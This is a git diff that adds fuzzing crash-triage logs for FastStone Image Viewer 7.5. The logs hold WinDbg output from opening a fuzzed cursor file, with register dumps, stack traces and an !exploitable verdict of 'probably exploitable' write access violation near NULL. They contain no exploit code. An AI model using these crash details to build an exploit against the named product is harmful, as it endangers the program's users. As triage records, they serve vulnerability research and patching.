ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002a6000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b33626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x2b33626d) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18125/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18125/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fee77bd Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18125/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18495/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18495/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18495/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18495/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18495/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c062402 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18495/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18495/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18495/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..3778cc2 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18495/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,172 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x224: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x224: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(224.13e0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f37b19 edx=00000000 esi=00000000 edi=0fd2afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.757935550378558560000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-4.6494e+016 4.33799e-016 -8.63169e-006 -2.41058e-017 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08018130 07f95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00295000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00295000 a4ce6aff 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a8 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00295000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b33626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x2b33626d) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18495/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18495/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..3778cc2 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18495/WindowsDebugEngine_description.txt @@ -0,0 +1,172 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x224: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x224: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(224.13e0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f37b19 edx=00000000 esi=00000000 edi=0fd2afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.757935550378558560000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-4.6494e+016 4.33799e-016 -8.63169e-006 -2.41058e-017 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08018130 07f95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00295000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00295000 a4ce6aff 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a8 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00295000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b33626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x2b33626d) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18495/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18495/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c062402 Binary files /dev/null and 